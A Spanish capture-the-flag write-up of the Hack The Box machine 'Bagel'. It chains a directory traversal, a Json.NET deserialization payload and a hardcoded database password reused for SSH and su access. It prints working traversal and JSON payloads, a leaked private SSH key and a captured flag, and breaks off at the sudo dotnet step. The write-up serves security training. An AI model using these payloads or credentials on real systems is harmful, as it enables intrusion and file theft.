En Bagel explotamos una vulnerabilidad de Directory Traversal que nos permitio realizar la lectura del codigo fuente de la aplicacion web y de un DLL, en este ultimo explotamos una vulnerabilidad de Deserializacion que nos permitio acceder a la maquina. Finalmente escalamos privilegios por medio de dotnet.
Nombre |
Bagel |
OS |
Linux |
Puntos |
30 |
Dificultad |
Media |
IP |
10.10.11.201 |
Maker |
CestLaVie |
Matrix
|
{
"type":"radar",
"data":{
"labels":["Enumeration","Real-Life","CVE","Custom Explotation","CTF-Like"],
"datasets":[
{
"label":"User Rate", "data":[6.2, 5.2, 5.1, 4.9, 4.8],
"backgroundColor":"rgba(75, 162, 189,0.5)",
"borderColor":"#4ba2bd"
},
{
"label":"Maker Rate",
"data":[0, 0, 0, 0, 0],
"backgroundColor":"rgba(154, 204, 20,0.5)",
"borderColor":"#9acc14"
}
]
},
"options": {"scale": {"ticks": {"backdropColor":"rgba(0,0,0,0)"},
"angleLines":{"color":"rgba(255, 255, 255,0.6)"},
"gridLines":{"color":"rgba(255, 255, 255,0.6)"}
}
}
}
|
Recon
nmap
nmap
muestra multiples puertos abiertos: http (8000), ssh (22) y 5000.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
|
# Nmap 7.93 scan initiated Tue Mar 28 20:40:56 2023 as: nmap -p22,5000,8000 -sV -sC -oN nmap_scan 10.10.11.201
Nmap scan report for 10.10.11.201
Host is up (0.083s latency).
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.8 (protocol 2.0)
| ssh-hostkey:
| 256 6e4e1341f2fed9e0f7275bededcc68c2 (ECDSA)
|_ 256 80a7cd10e72fdb958b869b1b20652a98 (ED25519)
5000/tcp open upnp?
| fingerprint-strings:
| Help:
| HTTP/1.1 400 Bad Request
| Content-Type: text/html
| Server: Microsoft-NetCore/2.0
| Date: Wed, 29 Mar 2023 00:41:36 GMT
| Content-Length: 52
| Connection: close
| Keep-Alive: true
| <h1>Bad Request (Invalid request line (parts).)</h1>
| Kerberos, SSLSessionReq, TLSSessionReq, TerminalServerCookie:
| HTTP/1.1 400 Bad Request
| Content-Type: text/html
| Server: Microsoft-NetCore/2.0
| Date: Wed, 29 Mar 2023 00:41:37 GMT
| Content-Length: 52
| Connection: close
| Keep-Alive: true
| <h1>Bad Request (Invalid request line (parts).)</h1>
| LPDString:
| HTTP/1.1 400 Bad Request
| Content-Type: text/html
| Server: Microsoft-NetCore/2.0
| Date: Wed, 29 Mar 2023 00:41:48 GMT
| Content-Length: 52
| Connection: close
| Keep-Alive: true
| <h1>Bad Request (Invalid request line (parts).)</h1>
| RTSPRequest:
| HTTP/1.1 400 Bad Request
| Content-Type: text/html
| Server: Microsoft-NetCore/2.0
| Date: Wed, 29 Mar 2023 00:41:06 GMT
| Content-Length: 54
| Connection: close
| Keep-Alive: true
|_ <h1>Bad Request (Invalid request line (version).)</h1>
8000/tcp open http-alt Werkzeug/2.2.2 Python/3.10.9
| fingerprint-strings:
| FourOhFourRequest:
| HTTP/1.1 404 NOT FOUND
| Server: Werkzeug/2.2.2 Python/3.10.9
| Date: Wed, 29 Mar 2023 00:41:01 GMT
| Content-Type: text/html; charset=utf-8
| Content-Length: 207
| Connection: close
| <!doctype html>
| <html lang=en>
| <title>404 Not Found</title>
| <h1>Not Found</h1>
| <p>The requested URL was not found on the server. If you entered the URL manually please check your spelling and try again.</p>
| GetRequest:
| HTTP/1.1 302 FOUND
| Server: Werkzeug/2.2.2 Python/3.10.9
| Date: Wed, 29 Mar 2023 00:40:56 GMT
| Content-Type: text/html; charset=utf-8
| Content-Length: 263
| Location: http://bagel.htb:8000/?page=index.html
| Connection: close
| <!doctype html>
| <html lang=en>
| <title>Redirecting...</title>
| <h1>Redirecting...</h1>
| <p>You should be redirected automatically to the target URL: <a href="http://bagel.htb:8000/?page=index.html">http://bagel.htb:8000/?page=index.html</a>. If not, click the link.
| Socks5:
| <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN"
| "http://www.w3.org/TR/html4/strict.dtd">
| <html>
| <head>
| <meta http-equiv="Content-Type" content="text/html;charset=utf-8">
| <title>Error response</title>
| </head>
| <body>
| <h1>Error response</h1>
| <p>Error code: 400</p>
| <p>Message: Bad request syntax ('
| ').</p>
| <p>Error code explanation: HTTPStatus.BAD_REQUEST - Bad request syntax or unsupported method.</p>
| </body>
|_ </html>
|_http-server-header: Werkzeug/2.2.2 Python/3.10.9
|_http-title: Did not follow redirect to http://bagel.htb:8000/?page=index.html
[ ... ]
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Tue Mar 28 20:42:55 2023 -- 1 IP address (1 host up) scanned in 119.97 seconds
|
Web Site
El sitio web redirige al dominio bagel.htb
, se observa que existe el parametro page con el valor index.html.
1
2
3
4
5
6
7
8
9
10
|
π ~/htb/bagel ❯ curl -sI 10.10.11.201:8000
HTTP/1.1 302 FOUND
Server: Werkzeug/2.2.2 Python/3.10.9
Date: Wed, 29 Mar 2023 00:43:59 GMT
Content-Type: text/html; charset=utf-8
Content-Length: 263
Location: http://bagel.htb:8000/?page=index.html
Connection: close
π ~/htb/bagel ❯
|
El sitio muestra una tienda de rosquillas.
Directory Brute Forcing
feroxbuster
unicamente muestra una direccion.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
|
π ~/htb/bagel ❯ feroxbuster -u http://bagel.htb:8000/ -w $MD --depth 2
___ ___ __ __ __ __ __ ___
|__ |__ |__) |__) | / ` / \ \_/ | | \ |__
| |___ | \ | \ | \__, \__/ / \ | |__/ |___
by Ben "epi" Risher 🤓 ver: 2.7.3
───────────────────────────┬──────────────────────
🎯 Target Url │ http://bagel.htb:8000/
🚀 Threads │ 50
📖 Wordlist │ /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
👌 Status Codes │ [200, 204, 301, 302, 307, 308, 401, 403, 405, 500]
💥 Timeout (secs) │ 7
🦡 User-Agent │ feroxbuster/2.7.3
💉 Config File │ /etc/feroxbuster/ferox-config.toml
🏁 HTTP methods │ [GET]
🔃 Recursion Depth │ 2
🎉 New Version Available │ https://github.com/epi052/feroxbuster/releases/latest
───────────────────────────┴──────────────────────
🏁 Press [ENTER] to use the Scan Management Menu™
──────────────────────────────────────────────────
302 GET 5l 22w 263c http://bagel.htb:8000/ => http://bagel.htb:8000/?page=index.html
[####################] - 18m 220546/220546 0s found:1 errors:1
[####################] - 18m 220546/220546 194/s http://bagel.htb:8000/
|
Directory Traversal
Si realizamos una consulta utilizando ../../
en el valor del parametro page, logramos realizar la lectura de archivos locales.
1
2
3
4
|
π ~/htb/bagel ❯ curl -s "http://bagel.htb:8000/?page=../../../../../../../../etc/passwd" | grep home
developer:x:1000:1000::/home/developer:/bin/bash
phil:x:1001:1001::/home/phil:/bin/bash
π ~/htb/bagel ❯
|
Escribimos un pequeno script en python para enumerar los diferentes procesos de la maquina. Observamos el entorno y el comando que ejecuta la aplicacion web, la cual esta escrita en python, tambien el usuario, developer quien la ajecuta.
1
2
3
4
5
6
7
8
9
|
π ~/htb/bagel ❯ pipenv run python enumerate_files.py --read /proc/self/environ
[*] File: /proc/self/environ
LANG=en_US.UTF-8\x00ATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin\x00OME=/home/developer\x00OGNAME=developer\x00SER=developer\x00HELL=/bin/bash\x00NVOCATION_ID=7fe1fdbf35eb48f6bd22af1831b7aedd\x00OURNAL_STREAM=8:25682\x00YSTEMD_EXEC_PID=893\x00
π ~/htb/bagel ❯ pipenv run python enumerate_files.py --read /proc/self/cmdline
[*] File: /proc/self/cmdline
python3\x00home/developer/app/app.py\x00
π ~/htb/bagel ❯
|
Destacamos los procesos de ejecucion del archivo app.py
en el directorio /home/developer
y dotnet /opt/bagel/bin/Debug/net6.0/bagel.dll
.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
|
π ~/htb/bagel ❯ pipenv run python enumerate_files.py --npid 3000
[-] Fetching information: current pid 860
[+] pid: 1
[+] command: /usr/lib/systemd/systemd\x00hgb\x00-switched-root\x00-system\x00-deserialize\x005\x00
[+] pid: 758
[+] command: 甯牳氯扩猯獹整摭猯獹整摭樭畯湲污d
[+] pid: 771
[+] command: /usr/lib/systemd/systemd-udevd\x00
[+] pid: 853
[+] command: 甯牳氯扩猯獹整摭猯獹整摭漭浯d
[+] pid: 854
[+] command: /sbin/auditd\x00
[+] pid: 855
[+] command: /sbin/auditd\x00
[+] pid: 856
[+] command: /usr/sbin/sedispatch\x00
[+] pid: 857
[+] command: /usr/local/sbin/laurel\x00-config\x00etc/laurel/config.toml\x00
[+] pid: 858
[+] command: /sbin/auditd\x00
[+] pid: 860
[+] command: 甯牳氯扩猯獹整摭猯獹整摭爭獥汯敶d
[+] pid: 865
[+] command: /usr/lib/systemd/systemd-userdbd\x00
[+] pid: 888
[+] command: /usr/sbin/NetworkManager\x00-no-daemon\x00
[+] pid: 891
[+] command: /usr/sbin/NetworkManager\x00-no-daemon\x00
[+] pid: 893
[+] command: dotnet\x00opt/bagel/bin/Debug/net6.0/bagel.dll\x00
[+] pid: 895
[+] command: python3\x00home/developer/app/app.py\x00
[+] pid: 896
[+] command: /usr/sbin/irqbalance\x00-foreground\x00
[+] pid: 897
[+] command: /usr/sbin/mcelog\x00-daemon\x00-foreground\x00
[+] pid: 898
[+] command: /usr/lib/polkit-1/polkitd\x00-no-debug\x00
[+] pid: 900
[+] command: /usr/sbin/chronyd\x00F\x00\x00
[+] pid: 901
[+] command: /usr/sbin/irqbalance\x00-foreground\x00
[+] pid: 905
[+] command: /usr/sbin/rsyslogd\x00n\x00
[+] pid: 907
[+] command: /usr/sbin/rsyslogd\x00n\x00
[+] pid: 908
[+] command: /usr/sbin/rsyslogd\x00n\x00
[+] pid: 909
[+] command: 甯牳氯扩猯獹整摭猯獹整摭氭杯湩d
[+] pid: 910
[+] command: /usr/bin/VGAuthService\x00s\x00
[+] pid: 911
[+] command: /usr/bin/vmtoolsd\x00
[+] pid: 912
[+] command: /usr/sbin/abrtd\x00d\x00s\x00
[+] pid: 914
[+] command: /usr/lib/polkit-1/polkitd\x00-no-debug\x00
[+] pid: 920
[+] command: /usr/bin/dbus-broker-launch\x00-scope\x00ystem\x00-audit\x00
[+] pid: 921
[+] command: dotnet\x00opt/bagel/bin/Debug/net6.0/bagel.dll\x00
[+] pid: 922
[+] command: dotnet\x00opt/bagel/bin/Debug/net6.0/bagel.dll\x00
[+] pid: 925
[+] command: /usr/sbin/abrtd\x00d\x00s\x00
[+] pid: 930
[+] command: dotnet\x00opt/bagel/bin/Debug/net6.0/bagel.dll\x00
[+] pid: 931
[+] command: dotnet\x00opt/bagel/bin/Debug/net6.0/bagel.dll\x00
[+] pid: 932
[+] command: dotnet\x00opt/bagel/bin/Debug/net6.0/bagel.dll\x00
[+] pid: 933
[+] command: dotnet\x00opt/bagel/bin/Debug/net6.0/bagel.dll\x00
[+] pid: 934
[+] command: dotnet\x00opt/bagel/bin/Debug/net6.0/bagel.dll\x00
[+] pid: 935
[+] command: /usr/bin/vmtoolsd\x00
[+] pid: 936
[+] command: /usr/bin/vmtoolsd\x00
[+] pid: 937
[+] command: dbus-broker\x00-log\x00\x00-controller\x00\x00-machine-id\x00e8a2667e5384602a9b46d6ad7614e92\x00-max-bytes\x0036870912\x00-max-fds\x00096\x00-max-matches\x0031072\x00-audit\x00
[+] pid: 940
[+] command: /usr/bin/vmtoolsd\x00
[+] pid: 942
[+] command: /usr/lib/polkit-1/polkitd\x00-no-debug\x00
[+] pid: 943
[+] command: /usr/sbin/NetworkManager\x00-no-daemon\x00
[+] pid: 944
[+] command: /usr/sbin/abrtd\x00d\x00s\x00
[+] pid: 946
[+] command: /usr/lib/polkit-1/polkitd\x00-no-debug\x00
[+] pid: 947
[+] command: /usr/lib/polkit-1/polkitd\x00-no-debug\x00
[+] pid: 963
[+] command: sshd: /usr/sbin/sshd -D [listener] 0 of 10-100 startups\x00
[+] pid: 964
[+] command: /usr/sbin/gssproxy\x00D\x00
[+] pid: 965
[+] command: /usr/sbin/gssproxy\x00D\x00
[+] pid: 966
[+] command: /usr/sbin/gssproxy\x00D\x00
[+] pid: 967
[+] command: /usr/sbin/gssproxy\x00D\x00
[+] pid: 968
[+] command: /usr/sbin/gssproxy\x00D\x00
[+] pid: 969
[+] command: /usr/sbin/gssproxy\x00D\x00
[+] pid: 995
[+] command: /usr/lib/polkit-1/polkitd\x00-no-debug\x00
[+] pid: 1010
[+] command: dotnet\x00opt/bagel/bin/Debug/net6.0/bagel.dll\x00
[+] pid: 1013
[+] command: dotnet\x00opt/bagel/bin/Debug/net6.0/bagel.dll\x00
[+] pid: 1015
[+] command: dotnet\x00opt/bagel/bin/Debug/net6.0/bagel.dll\x00
[+] pid: 1018
[+] command: /usr/sbin/ModemManager\x00
[+] pid: 1019
[+] command: /usr/bin/abrt-dump-journal-core\x00D\x00T\x00f\x00e\x00
[+] pid: 1020
[+] command: /usr/bin/abrt-dump-journal-oops\x00fxtD\x00
[+] pid: 1021
[+] command: /usr/bin/abrt-dump-journal-xorg\x00fxtD\x00
[+] pid: 1024
[+] command: /usr/sbin/ModemManager\x00
[+] pid: 1025
[+] command: /usr/sbin/ModemManager\x00
[+] pid: 1028
[+] command: /usr/sbin/ModemManager\x00
[+] pid: 1050
[+] command: /usr/sbin/atd\x00f\x00
[+] pid: 1052
[+] command: /usr/sbin/crond\x00n\x00
[+] pid: 1066
[+] command: /sbin/agetty\x00o\x00p -- \u\x00-noclear\x00\x00inux\x00
π ~/htb/bagel ❯
|
WebApp - Source Code
Obtuvimos el codigo fuente de la aplicacion, observamos que se realiza una conexion de tipo websocket al puerto 5000. Ademas se muestra en un comentario que debe de estar en ejecucion el archivo .dll.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
|
# http://bagel.htb:8000/?page=../../../../../../../..//home/developer/app/app.py
from flask import Flask, request, send_file, redirect, Response
import os.path
import websocket,json
app = Flask(__name__)
@app.route('/')
def index():
if 'page' in request.args:
page = 'static/'+request.args.get('page')
if os.path.isfile(page):
resp=send_file(page)
resp.direct_passthrough = False
if os.path.getsize(page) == 0:
resp.headers["Content-Length"]=str(len(resp.get_data()))
return resp
else:
return "File not found"
else:
return redirect('http://bagel.htb:8000/?page=index.html', code=302)
@app.route('/orders')
def order(): # don't forget to run the order app first with "dotnet <path to .dll>" command. Use your ssh key to access the machine.
try:
ws = websocket.WebSocket()
ws.connect("ws://127.0.0.1:5000/") # connect to order app
order = {"ReadOrder":"orders.txt"}
data = str(json.dumps(order))
ws.send(data)
result = ws.recv()
return(json.loads(result)['ReadOrder'])
except:
return("Unable to connect")
if __name__ == '__main__':
app.run(host='0.0.0.0', port=8000)
|
Al realizar una solicitud a la ruta /orders, se muestra informacion de ordenes.
1
2
3
4
5
|
π /opt/bagel/orders ❯ curl -s http://bagel.htb:8000/orders
order #1 address: NY. 99 Wall St., client name: P.Morgan, details: [20 chocko-bagels]
order #2 address: Berlin. 339 Landsberger.A., client name: J.Smith, details: [50 bagels]
order #3 address: Warsaw. 437 Radomska., client name: A.Kowalska, details: [93 bel-bagels]
π /opt/bagel/orders ❯
|
Bagel.dll
Obtuvimos el archivo bagel.dll para analizarlo localmente utilizando dnSpy e ILSpy, ya que ambos muestran de forma diferente el codigo.
Encontramos una conexion de base de datos con las credenciales de acceso.
1
2
3
4
5
|
public void DB_connection()
{
string text = "Data Source=ip;Initial Catalog=Orders;User ID=dev;Password=k8wdAYYKyhnjg3K";
SqlConnection sqlConnection = new SqlConnection(text);
}
|
Observamos el directorio donde se encuentra el archivo de ordenes.
1
2
3
4
|
private string directory = "/opt/bagel/orders/";
// Token: 0x04000010 RID: 16
private string filename = "orders.txt";
|
Si realizamos la lectura de este archivo es el mismo contenido que se muestra en /orders.
1
2
3
4
5
6
7
8
9
|
π ~/htb/bagel ❯ pipenv run python enumerate_files.py --read /opt/bagel/orders/orders.txt
[*] File: /opt/bagel/orders/orders.txt
order #1 address: NY. 99 Wall St., client name: P.Morgan, details: [20 chocko-bagels]
order #2 address: Berlin. 339 Landsberger.A., client name: J.Smith, details: [50 bagels]
order #3 address: Warsaw. 437 Radomska., client name: A.Kowalska, details: [93 bel-bagels]
π ~/htb/bagel ❯
|
En la clase Handler encontramos que posiblemente exista alguna vulnerabilidad de tipo deserializacion.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
|
using bagel_server;
using Newtonsoft.Json;
public class Handler
{
public object Serialize(object obj)
{
//IL_0003: Unknown result type (might be due to invalid IL or missing references)
//IL_0008: Unknown result type (might be due to invalid IL or missing references)
//IL_0015: Expected O, but got Unknown
return JsonConvert.SerializeObject(obj, (Formatting)1, new JsonSerializerSettings
{
TypeNameHandling = (TypeNameHandling)4
});
}
public object Deserialize(string json)
{
//IL_0003: Unknown result type (might be due to invalid IL or missing references)
//IL_0008: Unknown result type (might be due to invalid IL or missing references)
//IL_0015: Expected O, but got Unknown
try
{
return JsonConvert.DeserializeObject<Base>(json, new JsonSerializerSettings
{
TypeNameHandling = (TypeNameHandling)4
});
}
catch
{
return "{\"Message\":\"unknown\"}";
}
}
}
|
Json.NET Deserialization
El post How to configure Json.NET to create a vulnerable web API muestra como crear y explotar una API vulnerable que utiliza Json.NET, asi tambien, el post Exploiting JSON serialization in .NET core muestra codigo vulnerable y como explotarlo. La configuracion de Json.NET debe de tener una de las configuraciones de TypeNameHandling vulnerables, si observamos el codigo fuente de la aplicacion, tiene la opcion “Auto” (4) la cual esta definida como vulnerable.
1
2
3
4
5
6
7
8
9
|
[ ... ]
return JsonConvert.DeserializeObject<Base>(json, new JsonSerializerSettings
{
TypeNameHandling = (TypeNameHandling)4
});
[ ... ]
|
Ademas, nuestro objeto JSON sea deserializado a un tipo “object” generico. En este caso tenemos RemoveOrder, por medio del cual podemos decirle que tipo de objeto queremos deserializar, tal y como se explica en el post (1).
1
2
3
4
5
6
7
8
9
10
|
public class Orders
{
[ .. ]
public object RemoveOrder { get; set; }
[ .. ]
}
|
En el post hacen uso de la clase FileInfo
del namespace System.IO
del bloque assembly System.IO.FileSystem
(def) para hacer un archivo de solo lectura, FileInfo necesita el parametro fileName
el cual se especifica como rce-test.txt, asi mismo agrega el valor IsReadOnly a true.
1
2
3
4
5
6
7
8
9
10
11
|
{
"obj": {
"$type": "System.IO.FileInfo, System.IO.FileSystem",
"fileName": "rce-test.txt",
"IsReadOnly": true
}
}
# "$type": "<namespace>.<class>, <assembly>",
# "<propiedad o metodo>": "<valor>"
# "<propiedad o metodo>": "<valor>"
|
Para nuestro caso debemos de buscar alguna clase y/o metodo para ejecutar codigo, comandos o realizar la lectura de archivos. Por suerte tenemos la clase File y el metodo ReadFile, el cual podemos utilizar para leer archivos locales.
Siguiendo la estructura JSON anterior crafteamos el nuestro para la lectura de archivos.
1
2
3
4
5
6
7
|
{
"RemoveOrder": {
"$type": "bagel_server.File, bagel",
"ReadFile": "../../../../../../etc/passwd"
}
}
|
Creamos un script para enviar nuestro payload y obtener el resultado.
Tras ejecutar el script logramos la lectura de /etc/passwd. Asi mismo observamos que el archivo bagel.dll
esta siendo ejecutado por phil.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
|
π ~/htb/bagel ❯ pipenv run python websocket_bagel.py
root:x:0:0:root:/root:/bin/bash
bin:x:1:1:bin:/bin:/sbin/nologin
daemon:x:2:2:daemon:/sbin:/sbin/nologin
adm:x:3:4:adm:/var/adm:/sbin/nologin
lp:x:4:7:lp:/var/spool/lpd:/sbin/nologin
sync:x:5:0:sync:/sbin:/bin/sync
shutdown:x:6:0:shutdown:/sbin:/sbin/shutdown
halt:x:7:0:halt:/sbin:/sbin/halt
mail:x:8:12:mail:/var/spool/mail:/sbin/nologin
operator:x:11:0:operator:/root:/sbin/nologin
games:x:12:100:games:/usr/games:/sbin/nologin
ftp:x:14:50:FTP User:/var/ftp:/sbin/nologin
nobody:x:65534:65534:Kernel Overflow User:/:/sbin/nologin
dbus:x:81:81:System message bus:/:/sbin/nologin
tss:x:59:59:Account used for TPM access:/dev/null:/sbin/nologin
systemd-network:x:192:192:systemd Network Management:/:/usr/sbin/nologin
systemd-oom:x:999:999:systemd Userspace OOM Killer:/:/usr/sbin/nologin
systemd-resolve:x:193:193:systemd Resolver:/:/usr/sbin/nologin
polkitd:x:998:997:User for polkitd:/:/sbin/nologin
rpc:x:32:32:Rpcbind Daemon:/var/lib/rpcbind:/sbin/nologin
abrt:x:173:173::/etc/abrt:/sbin/nologin
setroubleshoot:x:997:995:SELinux troubleshoot server:/var/lib/setroubleshoot:/sbin/nologin
cockpit-ws:x:996:994:User for cockpit web service:/nonexisting:/sbin/nologin
cockpit-wsinstance:x:995:993:User for cockpit-ws instances:/nonexisting:/sbin/nologin
rpcuser:x:29:29:RPC Service User:/var/lib/nfs:/sbin/nologin
sshd:x:74:74:Privilege-separated SSH:/usr/share/empty.sshd:/sbin/nologin
chrony:x:994:992::/var/lib/chrony:/sbin/nologin
dnsmasq:x:993:991:Dnsmasq DHCP and DNS server:/var/lib/dnsmasq:/sbin/nologin
tcpdump:x:72:72::/:/sbin/nologin
systemd-coredump:x:989:989:systemd Core Dumper:/:/usr/sbin/nologin
systemd-timesync:x:988:988:systemd Time Synchronization:/:/usr/sbin/nologin
developer:x:1000:1000::/home/developer:/bin/bash
phil:x:1001:1001::/home/phil:/bin/bash
_laurel:x:987:987::/var/log/laurel:/bin/false
π ~/htb/bagel ❯ pipenv run python websocket_bagel.py
LANG=en_US.UTF-8PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/binHOME=/home/philLOGNAME=philUSER=philSHELL=/bin/bashINVOCATION_ID=ad10d171f7e040eab6c6711fba6694d6JOURNAL_STREAM=8:24748SYSTEMD_EXEC_PID=892
π ~/htb/bagel ❯
|
User - Phil
Realizamos la lectura de la clave privada SSH de phil.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
|
π ~/htb/bagel ❯ pipenv run python websocket_bagel.py
-----BEGIN OPENSSH PRIVATE KEY-----
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
nrEIIvsBGmrx0AAAAKcGhpbEBiYWdlbAE=
-----END OPENSSH PRIVATE KEY-----
π ~/htb/bagel ❯
|
Con ello logramos acceder por SSH y obtener nuestra flag user.txt
.
1
2
3
4
5
6
7
8
9
10
11
|
π ~/htb/bagel ❯ ssh -i phil_id_rsa phil@bagel.htb
Last login: Tue Feb 14 11:47:33 2023 from 10.10.14.19
[phil@bagel ~]$ whoami;id;pwd
phil
uid=1001(phil) gid=1001(phil) groups=1001(phil) context=unconfined_u:unconfined_r:unconfined_t:s0-s0:c0.c1023
/home/phil
[phil@bagel ~]$ ls
user.txt
[phil@bagel ~]$ cat user.txt
1e3253f3817c4646958afb4cec88ae07
[phil@bagel ~]$
|
User - Developer
Intentamos utilizar la contrasena encontrada anteriormente en la conexion de base de datos con el usuario developer, la cual funciono.
1
2
3
4
5
6
7
|
[phil@bagel ~]$ su developer # k8wdAYYKyhnjg3K
Password:
[developer@bagel phil]$ whoami;id;pwd
developer
uid=1000(developer) gid=1000(developer) groups=1000(developer) context=unconfined_u:unconfined_r:unconfined_t:s0-s0:c0.c1023
/home/phil
[developer@bagel phil]$
|
Tras ejecutar sudo -l -l
observamos que podemos ejecutar dotnet
con sudo.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
|
[developer@bagel ~]$ sudo -l -l
Matching Defaults entries for developer on bagel:
!visiblepw, always_set_home, match_group_by_gid, always_query_group_plugin, env_reset, env_keep="COLORS DISPLAY HOSTNAME HISTSIZE KDEDIR LS_COLORS", env_keep+="MAIL QTDIR USERNAME
LANG LC_ADDRESS LC_CTYPE", env_keep+="LC_COLLATE LC_IDENTIFICATION LC_MEASUREMENT LC_MESSAGES", env_keep+="LC_MONETARY LC_NAME LC_NUMERIC LC_PAPER LC_TELEPHONE", env_keep+="LC_TIME
